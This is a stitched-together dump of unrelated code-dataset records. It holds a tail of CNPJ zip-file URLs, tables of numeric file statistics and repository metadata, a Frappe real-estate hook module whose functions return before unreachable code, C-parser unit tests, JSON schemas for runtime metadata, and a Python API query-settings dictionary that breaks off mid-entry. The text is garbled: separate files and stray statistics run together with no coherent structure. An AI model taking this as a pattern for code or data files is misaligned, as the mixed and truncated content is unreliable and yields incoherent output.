http://200.152.38.155/CNPJ/K3241.K03200Y4.D10814.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y4.D10814.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y4.D10814.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y5.D10814.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y5.D10814.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y5.D10814.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y6.D10814.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y6.D10814.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y6.D10814.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y7.D10814.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y7.D10814.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y7.D10814.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y8.D10814.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y8.D10814.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y8.D10814.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y9.D10814.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y9.D10814.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y9.D10814.SOCIOCSV.zip
'''
| 50.411215
| 119
| 0.743604
| 927
| 5,394
| 4.325782
| 0.098166
| 0.130923
| 0.187032
| 0.224439
| 0.885287
| 0.885287
| 0.880549
| 0.880549
| 0.880549
| 0.877805
| 0
| 0.369703
| 0.063775
| 5,394
| 107
| 120
| 50.411215
| 0.424356
| 0.035781
| 0
| 0
| 0
| 0.071429
| 0.286778
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.142857
| 0
| 0.142857
| 0.142857
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
46c36aa70d65049e44f7a5cae86b70d7cd13be90
| 1,484
|
py
|
Python
|
realestate/utils.py
|
jigartarpara/realestate
|
1533bade2e9ba66925da0688c8e6a511b80b4806
|
[
"MIT"
] | 1
|
2019-06-20T18:52:15.000Z
|
2019-06-20T18:52:15.000Z
|
realestate/utils.py
|
jigartarpara/realestate
|
1533bade2e9ba66925da0688c8e6a511b80b4806
|
[
"MIT"
] | null | null | null |
realestate/utils.py
|
jigartarpara/realestate
|
1533bade2e9ba66925da0688c8e6a511b80b4806
|
[
"MIT"
] | 3
|
2019-07-30T14:24:56.000Z
|
2019-10-23T02:49:40.000Z
|
import frappe
def sales_invoice_submit(doc, method = None):
return
assets = []
for item in doc.items:
asset = frappe.get_doc("RealEstate Assets",{"item": item.item_code})
if asset not in assets:
asset.save()
assets.append(asset)
def sales_invoice_cancel(doc, method = None):
return
assets = []
for item in doc.items:
asset = frappe.get_doc("RealEstate Assets",{"item": item.item_code})
if asset not in assets:
asset.save()
assets.append(asset)
def purchase_invoice_submit(doc, method = None):
return
assets = []
for item in doc.items:
asset = frappe.get_doc("RealEstate Assets",{"item": item.item_code})
if asset not in assets:
asset.save()
assets.append(asset)
def purchase_invoice_cancel(doc, method = None):
return
assets = []
for item in doc.items:
asset = frappe.get_doc("RealEstate Assets",{"item": item.item_code})
if asset not in assets:
asset.save()
assets.append(asset)
def payment_entry_submit(doc, method):
return
assets = []
for item in doc.references:
asset = frappe.get_doc("RealEstate Assets",{"item": item.item_code})
if asset not in assets:
asset.save()
assets.append(asset)
def payment_entry_cancel(doc, method):
return
assets = []
for item in doc.references:
asset = frappe.get_doc("RealEstate Assets",{"item": item.item_code})
if asset not in assets:
asset.save()
assets.append(asset)
# def sales_order_submit(doc, method):
# pass
# def sales_order_cancel(doc, method):
# pass
| 24.733333
| 70
| 0.706199
| 218
| 1,484
| 4.678899
| 0.137615
| 0.094118
| 0.088235
| 0.111765
| 0.913725
| 0.913725
| 0.913725
| 0.913725
| 0.913725
| 0.913725
| 0
| 0
| 0.165768
| 1,484
| 60
| 71
| 24.733333
| 0.82391
| 0.057278
| 0
| 0.857143
| 0
| 0
| 0.090323
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.122449
| false
| 0
| 0.020408
| 0
| 0.265306
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
46d8c81bf212224edd71c5089f2ed8117c4d1493
| 3,071
|
py
|
Python
|
tests/parsers/c_parser/exprs/unary_ops/post_increment_op_tests.py
|
mehrdad-shokri/retdec-regression-tests-framework
|
9c3edcd0a7bc292a0d5b5cbfb4315010c78d3bc3
|
[
"MIT"
] | 21
|
2017-12-12T20:38:43.000Z
|
2019-04-14T12:46:10.000Z
|
tests/parsers/c_parser/exprs/unary_ops/post_increment_op_tests.py
|
mehrdad-shokri/retdec-regression-tests-framework
|
9c3edcd0a7bc292a0d5b5cbfb4315010c78d3bc3
|
[
"MIT"
] | 6
|
2018-01-06T13:32:23.000Z
|
2018-09-14T15:09:11.000Z
|
tests/parsers/c_parser/exprs/unary_ops/post_increment_op_tests.py
|
mehrdad-shokri/retdec-regression-tests-framework
|
9c3edcd0a7bc292a0d5b5cbfb4315010c78d3bc3
|
[
"MIT"
] | 11
|
2017-12-12T20:38:46.000Z
|
2018-07-19T03:12:03.000Z
|
"""
Tests for the
:module`regression_tests.parsers.c_parser.exprs.unary_ops.post_increment_op`
module.
"""
from tests.parsers.c_parser import WithModuleTests
class PostIncrementOpExprTests(WithModuleTests):
"""Tests for `PostIncrementOpExpr`."""
def test_post_increment_op_expr_is_post_increment_op(self):
post_increment_op_expr = self.get_expr('a++', 'int')
self.assertTrue(post_increment_op_expr.is_post_increment_op())
def test_post_increment_op_expr_is_no_other_expr(self):
post_increment_op_expr = self.get_expr('a++', 'int')
self.assertFalse(post_increment_op_expr.is_eq_op())
self.assertFalse(post_increment_op_expr.is_neq_op())
self.assertFalse(post_increment_op_expr.is_gt_op())
self.assertFalse(post_increment_op_expr.is_gt_eq_op())
self.assertFalse(post_increment_op_expr.is_lt_op())
self.assertFalse(post_increment_op_expr.is_lt_eq_op())
self.assertFalse(post_increment_op_expr.is_add_op())
self.assertFalse(post_increment_op_expr.is_sub_op())
self.assertFalse(post_increment_op_expr.is_mul_op())
self.assertFalse(post_increment_op_expr.is_mod_op())
self.assertFalse(post_increment_op_expr.is_div_op())
self.assertFalse(post_increment_op_expr.is_and_op())
self.assertFalse(post_increment_op_expr.is_or_op())
self.assertFalse(post_increment_op_expr.is_bit_and_op())
self.assertFalse(post_increment_op_expr.is_bit_or_op())
self.assertFalse(post_increment_op_expr.is_bit_xor_op())
self.assertFalse(post_increment_op_expr.is_bit_shl_op())
self.assertFalse(post_increment_op_expr.is_bit_shr_op())
self.assertFalse(post_increment_op_expr.is_not_op())
self.assertFalse(post_increment_op_expr.is_neg_op())
self.assertFalse(post_increment_op_expr.is_assign_op())
self.assertFalse(post_increment_op_expr.is_address_op())
self.assertFalse(post_increment_op_expr.is_deref_op())
self.assertFalse(post_increment_op_expr.is_array_index_op())
self.assertFalse(post_increment_op_expr.is_comma_op())
self.assertFalse(post_increment_op_expr.is_ternary_op())
self.assertFalse(post_increment_op_expr.is_call())
self.assertFalse(post_increment_op_expr.is_cast())
self.assertFalse(post_increment_op_expr.is_pre_increment_op())
self.assertFalse(post_increment_op_expr.is_pre_decrement_op())
self.assertFalse(post_increment_op_expr.is_post_decrement_op())
self.assertFalse(post_increment_op_expr.is_compound_assign_op())
self.assertFalse(post_increment_op_expr.is_struct_ref_op())
self.assertFalse(post_increment_op_expr.is_struct_deref_op())
def test_repr_returns_correct_repr(self):
add_op_expr = self.get_expr('a++', 'int')
self.assertEqual(repr(add_op_expr), '<PostIncrementOpExpr op=a>')
def test_str_returns_correct_str(self):
add_op_expr = self.get_expr('a++', 'int')
self.assertEqual(str(add_op_expr), 'a++')
| 50.344262
| 80
| 0.751547
| 443
| 3,071
| 4.677201
| 0.153499
| 0.228282
| 0.304054
| 0.357625
| 0.796332
| 0.796332
| 0.794402
| 0.744691
| 0.432915
| 0.123552
| 0
| 0
| 0.145555
| 3,071
| 60
| 81
| 51.183333
| 0.789634
| 0.042657
| 0
| 0.085106
| 0
| 0
| 0.018182
| 0
| 0
| 0
| 0
| 0
| 0.787234
| 1
| 0.085106
| false
| 0
| 0.021277
| 0
| 0.12766
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
201dbf7f58b3a23e0059a5814b4d4b243e34b20e
| 4,688
|
py
|
Python
|
okonomiyaki/runtimes/runtime_schemas.py
|
enthought/okonomiyaki
|
51b8b4fa8d17255e13c097402691726545cf5b4c
|
[
"BSD-3-Clause"
] | 1
|
2021-06-01T16:35:00.000Z
|
2021-06-01T16:35:00.000Z
|
okonomiyaki/runtimes/runtime_schemas.py
|
enthought/okonomiyaki
|
51b8b4fa8d17255e13c097402691726545cf5b4c
|
[
"BSD-3-Clause"
] | 249
|
2015-02-24T19:06:53.000Z
|
2021-07-30T09:01:53.000Z
|
okonomiyaki/runtimes/runtime_schemas.py
|
enthought/okonomiyaki
|
51b8b4fa8d17255e13c097402691726545cf5b4c
|
[
"BSD-3-Clause"
] | 4
|
2015-02-19T21:29:12.000Z
|
2016-01-14T21:02:39.000Z
|
# flake8: noqa
_JULIA_V1 = {
"$schema": "http://json-schema.org/draft-04/schema#",
"title": "PythonRuntimeMetadata v1.0",
"description": "PythonRuntimeMetadata runtime/metadata.json schema.",
"type": "object",
"properties": {
"metadata_version": {
"description": "The metadata version.",
"type": "string"
},
"implementation": {
"description": "The implementation (e.g. cpython)",
"type": "string"
},
"version": {
"description": "The implementation version, e.g. pypy 2.6.1 would report 2.6.1 as the 'upstream' part.",
"type": "string"
},
"abi": {
"description": "The runtime's ABI, e.g. 'msvc2008' or 'gnu'.",
"type": "string"
},
"language_version": {
"description": "This is the 'language' version, e.g. pypy 2.6.1 would report 2.7.10 here.",
"type": "string"
},
"platform": {
"description": ("The platform string (as can be parsed by"
"EPDPlatform.from_epd_string"),
"type": "string"
},
"build_revision": {
"description": "Build revision (internal only).",
"type": "string",
},
"executable": {
"description": "The full path to the actual runtime executable.",
"type": "string",
},
"paths": {
"description": "The list of path to have access to this runtime.",
"type": "array",
"items": {"type": "string"},
},
"post_install": {
"description": ("The command (as a list) to execute after "
"installation."),
"type": "array",
"items": {"type": "string"},
},
},
"required": [
"metadata_version",
"implementation",
"version",
"abi",
"language_version",
"platform",
"build_revision",
"executable",
"paths",
"post_install",
]
}
_PYTHON_V1 = {
"$schema": "http://json-schema.org/draft-04/schema#",
"title": "PythonRuntimeMetadata v1.0",
"description": "PythonRuntimeMetadata runtime/metadata.json schema.",
"type": "object",
"properties": {
"metadata_version": {
"description": "The metadata version.",
"type": "string"
},
"implementation": {
"description": "The implementation (e.g. cpython)",
"type": "string"
},
"version": {
"description": "The implementation version, e.g. pypy 2.6.1 would report 2.6.1 as the 'upstream' part.",
"type": "string"
},
"abi": {
"description": "The runtime's ABI, e.g. 'msvc2008' or 'gnu'.",
"type": "string"
},
"language_version": {
"description": "This is the 'language' version, e.g. pypy 2.6.1 would report 2.7.10 here.",
"type": "string"
},
"platform": {
"description": ("The platform string (as can be parsed by"
"EPDPlatform.from_epd_string"),
"type": "string"
},
"build_revision": {
"description": "Build revision (internal only).",
"type": "string",
},
"executable": {
"description": "The full path to the actual runtime executable.",
"type": "string",
},
"paths": {
"description": "The list of path to have access to this runtime.",
"type": "array",
"items": {"type": "string"},
},
"post_install": {
"description": ("The command (as a list) to execute after "
"installation."),
"type": "array",
"items": {"type": "string"},
},
"scriptsdir": {
"description": "Full path to scripts directory.",
"type": "string",
},
"site_packages": {
"description": "The full path to the python site packages.",
"type": "string",
},
"python_tag": {
"description": "The python tag, as defined in PEP 425.",
"type": "string",
},
},
"required": [
"metadata_version",
"implementation",
"version",
"abi",
"language_version",
"platform",
"build_revision",
"executable",
"paths",
"post_install",
"scriptsdir",
"site_packages",
"python_tag",
]
}
| 32.109589
| 117
| 0.475043
| 408
| 4,688
| 5.389706
| 0.218137
| 0.104593
| 0.008186
| 0.023647
| 0.909959
| 0.909959
| 0.897681
| 0.897681
| 0.897681
| 0.897681
| 0
| 0.016238
| 0.369454
| 4,688
| 145
| 118
| 32.331034
| 0.727673
| 0.00256
| 0
| 0.72028
| 0
| 0.027972
| 0.531023
| 0.038511
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
64596d47fde29089e934243bc78ffc397e4e08bc
| 30,586
|
py
|
Python
|
common/query_settings.py
|
clearspending/api.clearspending.ru
|
ece8f9f5f1b37598cf12ad67e2a6da6214afc27c
|
[
"MIT"
] | 1
|
2019-01-15T16:52:58.000Z
|
2019-01-15T16:52:58.000Z
|
common/query_settings.py
|
clearspending/api.clearspending.ru
|
ece8f9f5f1b37598cf12ad67e2a6da6214afc27c
|
[
"MIT"
] | null | null | null |
common/query_settings.py
|
clearspending/api.clearspending.ru
|
ece8f9f5f1b37598cf12ad67e2a6da6214afc27c
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
APIdict = {}
from api.snippets import booleaniator, dbid, yearfilter, asIs, dateRange, floatRange, toListAnd, toListOr, toList, \
is_guid, placingtype, mongo_id, unicode_whitespace, okdp_okpd, less_int
# используется для фильтрации входящих параметров
notUseParameterVal = {u'None', u'all', None, 'None', 'all', "", u""}
operatorsDontModify = {u"$all", u"$in", u"$or", u"$gte", u"$gt", u"$lte", u"$lt"}
share_parameters = {u"format", u"get_report"}
# словарь функций преобразования входящих из апи параметров
typeFunctions = {
"mongo_id": mongo_id,
"unicode": unicode,
"unicode_whitespace": unicode_whitespace,
"integer": int,
"float": float,
"string": str,
"boolean": booleaniator,
"dbid": dbid,
"yearfilter": yearfilter,
"asIs": asIs,
"daterange": dateRange,
"floatrange": floatRange,
"listand": toListAnd,
"listor": toListOr,
"list": toList,
"placingtype": placingtype,
"guid": is_guid,
"okdp_okpd": okdp_okpd,
"less_int": less_int
}
from api.db_selectors import underConstruction, sphnxSelect, selectData, get_data, selectDict, select_budget_dict
from api.response_modifiers import modifier_select_rsp_dictionaries, modifier_select_rsp_suppliers, \
modifier_select_rsp_customers, modifier_top_rsp_contracts, modifier_top_rsp_organizations, \
modifier_get_rsp, modifier_select_rsp_contracts, modifier_select_rsp_invalidcontracts, \
modifier_get_grants_rsp, modifier_select_rsp_grants, modifier_top_rsp_grants, modifier_top_rsp_farma, \
modifier_get_notifications_rsp, modifier_select_rsp_notifications, modifier_top_rsp_notifications
APIdict[u"search"] = {
u"contracts": {"function": underConstruction},
u"suppliers": {"function": underConstruction},
u"customers": {"function": underConstruction}
}
APIdict[u"request"] = {
"stats": {"function": underConstruction}
}
APIdict[u"search"] = {
u"notifications": {
"function": sphnxSelect,
"modifier": modifier_select_rsp_notifications,
"description": {"DB_Name": "Notifications", "DB_collectionName": "Notifications"},
"parameters": {
"productsearch": {"field": u"sphnxsearch", "type": "unicode", "default": None,
"sphinx_field": "productsearch"},
"placing": {"field": u"sphnxsearchlist", "type": "list", "default": None, "sphinx_field": "placingway"},
"number": {"field": u"number", "type": "unicode", "default": None},
"pricerange": {"field": u"lot.maxPrice", "type": "floatrange",
"default": None},
"publish_daterange": {"field": u"publishDate", "type": "daterange", "default": None},
"participate_daterange": {"field": u"collectingDate.procedureInfo.collecting.endDate", "type": "daterange",
"default": None},
"regioncode": {"field": u"regionCode", "type": "unicode", "default": None},
},
"sort": {
"lot.maxPrice": [1, -1],
"publishDate": [1, -1],
"collectingDate.procedureInfo.collecting.endDate": [1, -1]
}
},
u"grants": {
"function": sphnxSelect,
"modifier": modifier_select_rsp_grants,
"description": {"DB_Name": "Grants", "DB_collectionName": "grants"},
"parameters": {
"productsearch": {"field": u"sphnxsearch", "type": "unicode", "default": None,
"sphinx_field": "description"},
"name_organization_search": {"field": u"sphnxsearch", "type": "unicode", "default": None,
"sphinx_field": "name_organization_search"},
"address_search": {"field": u"sphnxsearch", "type": "unicode", "default": None,
"sphinx_field": "address_search"},
"operator": {"field": u"operator", "type": "unicode_whitespace", "default": None},
"daterange": {"field": u"filing_date", "type": "daterange", "default": None},
"OGRN": {"field": u"OGRN", "type": "unicode", "default": None},
"price": {"field": u"price", "type": "floatrange", "default": None},
"grant_status": {"field": u"grant_status", "type": "unicode", "default": None},
},
},
u"customers": {
"function": sphnxSelect,
"modifier": modifier_select_rsp_customers,
"description": {"DB_Name": "Organizations", "DB_collectionName": "Customers_v3"},
"parameters": {
"namesearch": {"field": u"sphnxsearch", "type": "unicode", "default": None, "sphinx_field": "names"},
"address": {"field": u"sphnxsearch", "type": "unicode", "default": None, "sphinx_field": "address"},
"namesearchlist": {"field": u"sphnxsearchlist", "type": "list", "default": None, "sphinx_field": "names"},
"spzregnum": {"field": u"regNumber", "type": "unicode", "default": None},
"okpo": {"field": u"OKPO", "type": "unicode", "default": None},
"okved": {"field": u"OKVED", "type": "unicode", "default": None},
"name": {"field": u"fullName", "type": "unicode", "default": None},
"inn": {"field": u"inn", "type": "unicode", "default": None},
"kpp": {"field": u"kpp", "type": "unicode", "default": None},
"ogrn": {"field": u"ogrn", "type": "unicode", "default": None},
"okogu": {"field": u"okogu.code", "type": "unicode", "default": None},
"okato": {"field": u"factualAddress.OKATO", "type": "unicode", "default": None},
"subordination": {"field": u"subordinationType.id", "type": "unicode", "default": None},
"orgtype": {"field": u"organizationType.id", "type": "unicode", "default": None},
"kladregion": {"field": u"region.kladrCode", "type": "unicode", "default": None},
"fz": {"field": u"fz", "type": "unicode", "default": None},
"regioncode": {"field": u"regionCode", "type": "unicode", "default": None},
"orgclass": {"field": u"_orgClass", "type": "unicode", "default": None}
},
"sort": {
"contractsCount": [1, -1],
"contractsSum": [1, -1]
}
},
u"suppliers": {
"function": sphnxSelect,
"modifier": modifier_select_rsp_suppliers,
"description": {"DB_Name": "Organizations", "DB_collectionName": "Suppliers_v3"},
"parameters": {
"namesearch": {"field": u"sphnxsearch", "type": "unicode", "default": None, "sphinx_field": "names"},
"address": {"field": u"sphnxsearch", "type": "unicode", "default": None, "sphinx_field": "address"},
"inn": {"field": u"inn", "type": "unicode", "default": None},
"kpp": {"field": u"kpp", "type": "unicode", "default": None},
"regioncode": {"field": u"regionCode", "type": "unicode", "default": None},
"orgform": {"field": u"organizationForm", "type": "unicode", "default": None},
"orgclass": {"field": u"_orgClass", "type": "unicode", "default": None},
"inblacklist": {"field": u"xRNP.inRNP", "type": "boolean", "default": None}
},
"sort": {
"contractsCount": [1, -1],
"contractsSum": [1, -1]
}
},
u"contracts": {
"function": sphnxSelect,
"modifier": modifier_select_rsp_contracts,
"description": {"DB_Name": "Contracts", "DB_collectionName": "Contracts4API_v3"},
"parameters": {
"productsearch": {"field": u"sphnxsearch", "type": "unicode", "default": None, "sphinx_field": "products"},
"address": {"field": u"sphnxsearch", "type": "unicode", "default": None, "sphinx_field": "address"},
"misuses": {"field": u"sphnxsearch", "type": "unicode", "default": None, "sphinx_field": "misuses"},
"placing": {"field": u"sphnxsearchlist", "type": "list", "default": None, "sphinx_field": "placingway"},
"productsearchlist": {"field": u"sphnxsearchlist", "type": "list", "default": None,
"sphinx_field": "products"},
"regnum": {"field": u"regNum", "type": "unicode", "default": None},
"customerinn": {"field": u"customer.inn", "type": "unicode", "default": None},
"customerkpp": {"field": u"customer.kpp", "type": "unicode", "default": None},
"supplierinn": {"field": u"suppliers.inn", "type": "unicode", "default": None,
"sphinx_field": "supplierinn_list"},
"supplierkpp": {"field": u"suppliers.kpp", "type": "unicode", "default": None,
"sphinx_field": "supplierkpp_list"},
"okdp_okpd": {"field": u"okdp_okpd", "type": "okdp_okpd", "default": None,
"sphinx_field": "okdp_okpd_list"},
"budgetlevel": {"field": u"finances.budgetLevel.code", "type": "unicode", "default": None},
"grbs": {"field": u"finances.budgetary.KBK", "type": "unicode", "default": None},
"fkr": {"field": u"finances.budgetary.KBK", "type": "unicode", "default": None},
"sub-fkr": {"field": u"sub_fkr", "type": "unicode", "default": None},
"csr": {"field": u"finances.budgetary.KBK", "type": "unicode", "default": None},
"kvr": {"field": u"finances.budgetary.KBK", "type": "unicode", "default": None},
"customerregion": {"field": u"regionCode", "type": "unicode", "default": None},
"currentstage": {"field": u"currentContractStage", "type": "unicode", "default": None},
"daterange": {"field": u"signDate", "type": "daterange", "default": None},
"pricerange": {"field": u"price", "type": "floatrange", "default": None},
"fz": {"field": u"fz", "type": "unicode", "default": None}
},
"sort": {
"price": [1, -1],
"signDate": [1, -1]
}
}
}
APIdict[u"top"] = {
u"notifications": {
"function": selectData,
"modifier": modifier_top_rsp_notifications,
"description": {"DB_Name": "Statistics", "DB_collectionName": "Statistics_v3"},
"parameters": {
"statName": {"field": u"statName", "type": "unicode", "default": u'topNotifications'},
'fz': {'field': u'fz', "type": "unicode", "default": None}
},
"sort": {
"price": [1, -1],
}
},
u"grants": {
"function": selectData,
"modifier": modifier_top_rsp_grants,
"description": {"DB_Name": "Statistics", "DB_collectionName": "Statistics_v3"},
# TODO: нельзя не указывать параметр selectData отдаёт None
"parameters": {
"statName": {"field": u"statName", "type": "unicode", "default": u'topGrants'},
'grant_status': {'field': u'grant_status', "type": "unicode", "default": None}
},
"sort": {
"price": [1, -1],
}
},
u"contracts": {
"function": selectData,
"modifier": modifier_top_rsp_contracts,
"description": {"DB_Name": "Statistics", "DB_collectionName": "Statistics_v3"},
"parameters": {
"statname": {"field": u"statName", "type": "unicode", "default": u"topContracts"},
"year": {"field": u"year", "type": "unicode", "default": None}
},
"sort": {
"price": [1, -1],
"signDate": [1, -1]
}
},
u"suppliers": {
"function": selectData,
"modifier": modifier_top_rsp_organizations,
"description": {"DB_Name": "Statistics", "DB_collectionName": "Statistics_v3"},
"parameters": {
"statname": {"field": u"statName", "type": "unicode", "default": u"topSuppliers"},
"stattype": {"field": u"statType", "type": "unicode", "default": None}
},
"sort": {
"contractsCount": [1, -1],
"contractsSum": [1, -1]
}
},
u"customers": {
"function": selectData,
"modifier": modifier_top_rsp_organizations,
"description": {"DB_Name": "Statistics", "DB_collectionName": "Statistics_v3"},
"parameters": {
"statname": {"field": u"statName", "type": "unicode", "default": u"topCustomers"},
"stattype": {"field": u"statType", "type": "unicode", "default": None}
},
"sort": {
"contractsCount": [1, -1],
"contractsSum": [1, -1]
}
},
u"npo": {
"function": selectData,
"modifier": modifier_top_rsp_organizations,
"description": {"DB_Name": "Statistics", "DB_collectionName": "Statistics_v3"},
"parameters": {
"statname": {"field": u"statName", "type": "unicode", "default": u"topNPO"},
"stattype": {"field": u"statType", "type": "unicode", "default": None}
},
"sort": {
"contractsCount": [1, -1],
"contractsSum": [1, -1]
}
},
u"farma": {
"function": selectData,
"modifier": modifier_top_rsp_farma,
"description": {"DB_Name": "Statistics", "DB_collectionName": "Statistics_v3"},
"parameters": {
"statname": {"field": u"statName", "type": "unicode", "default": u"topFarma"},
"stattype": {"field": u"statType", "type": "unicode", "default": None}
}
},
u"univers": {
"function": selectData,
"modifier": modifier_top_rsp_organizations,
"description": {"DB_Name": "Statistics", "DB_collectionName": "Statistics_v3"},
"parameters": {
"statname": {"field": u"statName", "type": "unicode", "default": u"topUniversities"},
"stattype": {"field": u"statType", "type": "unicode", "default": None}
},
"sort": {
"contractsCount": [1, -1],
"contractsSum": [1, -1]
}
}
}
APIdict[u"get"] = {
u"notifications": {
"function": get_data,
"modifier": modifier_get_notifications_rsp,
"description": {"DB_Name": "Notifications", "DB_collectionName": "Notifications"},
"parameters": {
"number": {"field": u"number", "type": "unicode", "default": None},
"id": {"field": u"id", "type": "unicode", "default": None}
}
},
u"grants": {
"function": get_data,
"modifier": modifier_get_grants_rsp,
"description": {"DB_Name": "Grants", "DB_collectionName": "grants"},
"parameters": {
"id": {"field": u"id", "type": "integer", "default": None}
}
},
u"contracts": {
"function": get_data,
"modifier": modifier_get_rsp,
"description": {"DB_Name": "Contracts", "DB_collectionName": "Contracts4API_v3"},
"parameters": {
# "newestver": {"field": u"_newestVersion", "type": "boolean", "default": True},
"regnum": {"field": u"regNum", "type": "unicode", "default": None},
"id": {"field": u"id", "type": "guid", "default": None}
}
},
u"suppliers": {
"function": get_data,
"modifier": modifier_get_rsp,
"description": {"DB_Name": "Organizations", "DB_collectionName": "Suppliers_v3"},
"parameters": {
"id": {"field": u"_id", "type": "dbid", "default": None},
"inn": {"field": u"inn", "type": "unicode", "default": None},
"kpp": {"field": u"kpp", "type": "unicode", "default": None}
}
},
u"customers": {
"function": get_data,
"modifier": modifier_get_rsp,
"description": {"DB_Name": "Organizations", "DB_collectionName": "Customers_v3"},
"parameters": {
"id": {"field": u"_id", "type": "dbid", "default": None},
"spzregnum": {"field": u"regNumber", "type": "unicode", "default": None}
}
},
u"dicts": {
"function": underConstruction
},
u"regions": {
"function": get_data,
"modifier": modifier_get_rsp,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "Regions"},
"parameters": {
"regioncode": {"field": u"subjectCode", "type": "integer", "default": None},
"okato": {"field": u"codeOKATO", "type": "integer", "default": None},
"kladr": {"field": u"codeKLADR", "type": "integer", "default": None}
}
},
u"budgetlevels": {
"function": get_data,
"modifier": modifier_get_rsp,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "BudgetLevels"},
"parameters": {
"level": {"field": u"budgetLevelCode", "type": "unicode", "default": None}
}
},
u"opf": {
"function": get_data,
"modifier": modifier_get_rsp,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "OPF"},
"parameters": {
"opf": {"field": u"opf", "type": "unicode", "default": None}
}
},
u"kbk": {
"function": get_data,
"modifier": modifier_get_rsp,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "kbk"},
"parameters": {
"actual": {"field": u"actual", "type": "unucode", "default": u"true"},
"kbk": {"field": u"kbk", "type": "unicode", "default": None},
"budget": {"field": u"budget", "type": "unicode", "default": None}
}
},
u"kosgu": {
"function": get_data,
"modifier": modifier_get_rsp,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "kosgu"},
"parameters": {
"actual": {"field": u"actual", "type": "unucode", "default": u"true"},
"kosgu": {"field": u"kbk", "type": "unicode", "default": None}
}
},
u"invalidreasons": {
"function": get_data,
"modifier": modifier_get_rsp,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "InvalidReasons"},
"parameters": {
"code": {"field": u"code", "type": "unicode", "default": None}
}
},
u"placing": {
"function": get_data,
"modifier": modifier_get_rsp,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "Placing"},
"parameters": {
"code": {"field": u"code", "type": "unicode", "default": None}
}
},
u"okato": {
"function": get_data,
"modifier": modifier_get_rsp,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "okato"},
"parameters": {
"code": {"field": u"code", "type": "unicode", "default": None},
}
}
}
APIdict[u"select"] = {
u"notifications": {
"function": sphnxSelect,
"modifier": modifier_select_rsp_notifications,
"description": {"DB_Name": "Notifications", "DB_collectionName": "Notifications"},
"parameters": {
"productsearch": {"field": u"sphnxsearch", "type": "unicode", "default": None, "sphinx_field": "product"},
"placing": {"field": u"sphnxsearchlist", "type": "list", "default": None, "sphinx_field": "placingway"},
"number": {"field": u"number", "type": "unicode", "default": None},
"pricerange": {"field": u"lots.lot.customerRequirements.customerRequirement.maxPrice", "type": "floatrange",
"default": None},
"publish_daterange": {"field": u"publishDate", "type": "daterange", "default": None},
"participate_daterange": {"field": u"notificationCommission.p1Date", "type": "daterange", "default": None},
"regioncode": {"field": u"regionCode", "type": "unicode", "default": None},
"fz": {"field": u"fz", "type": "unicode", "default": None},
},
"sort": {
"publish_daterange": [1, -1]
}
},
u"grants": {
"function": selectData,
"modifier": modifier_select_rsp_grants,
"description": {"DB_Name": "Grants", "DB_collectionName": "grants"},
"parameters": {
"year": {"field": u"year", "type": "unicode", "default": None},
"status": {"field": u"grant_status", "type": "unicode", "default": None},
"grant": {"field": u"grant", "type": "unicode", "default": None},
"price": {"field": u"price", "type": "floatrange", "default": None},
"daterange": {"field": u"filing_date", "type": "daterange", "default": None},
},
},
u"contracts": {
"function": selectData,
"modifier": modifier_select_rsp_contracts,
"description": {"DB_Name": "Contracts", "DB_collectionName": "Contracts4API_v3"},
"parameters": {
"regnum": {"field": u"regNum", "type": "unicode", "default": None},
"customerinn": {"field": u"customer.inn", "type": "unicode", "default": None},
"customerkpp": {"field": u"customer.kpp", "type": "unicode", "default": None},
"supplierinn": {"field": u"suppliers.inn", "type": "unicode", "default": None},
